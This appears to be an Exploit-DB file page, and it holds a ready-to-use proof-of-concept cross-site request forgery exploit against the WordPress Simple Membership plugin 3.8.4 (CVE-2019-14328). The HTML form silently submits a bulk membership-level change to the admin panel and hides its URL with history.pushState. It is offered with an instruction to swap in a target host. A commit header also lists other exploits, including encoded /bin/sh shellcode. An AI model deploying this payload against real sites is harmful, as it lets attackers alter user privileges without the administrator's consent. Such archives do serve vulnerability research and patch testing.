852694f982
6 changes to exploits/shellcodes Schneider Electric Pelco Endura NET55XX Encoder - Authentication Bypass (Metasploit) WP Database Backup < 5.2 - Remote Code Execution (Metasploit) WordPress Plugin Simple Membership 3.8.4 - Cross-Site Request Forgery WordPress Theme Real Estate 2.8.9 - Cross-Site Scripting GigToDo 1.3 - Cross-Site Scripting Linux/x86 - NOT +SHIFT-N+ XOR-N Encoded /bin/sh Shellcode
24 lines
No EOL
970 B
HTML
24 lines
No EOL
970 B
HTML
# Exploit Title: Cross Site Request Forgery in Wordpress Simple Membership plugin
|
|
# Date: 2019-07-27
|
|
# Exploit Author: rubyman
|
|
# Vendor Homepage: https://wordpress.org/plugins/simple-membership/
|
|
# wpvulndb : https://wpvulndb.com/vulnerabilities/9482
|
|
# Version: 3.8.4
|
|
# Tested on: Windows 8.1
|
|
# CVE : CVE-2019-14328
|
|
|
|
#
|
|
# Change localhost to your desired host
|
|
#
|
|
|
|
<html>
|
|
<body>
|
|
<script>history.pushState('', '', '/')</script>
|
|
<form action="http://localhost/wordpress/wp-admin/admin.php?page=simple_wp_membership&member_action=bulk" method="POST">
|
|
<input type="hidden" name="swpm_bulk_change_level_from" value="2" />
|
|
<input type="hidden" name="swpm_bulk_change_level_to" value="3" />
|
|
<input type="hidden" name="swpm_bulk_change_level_process" value="Bulk Change Membership Level" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html> |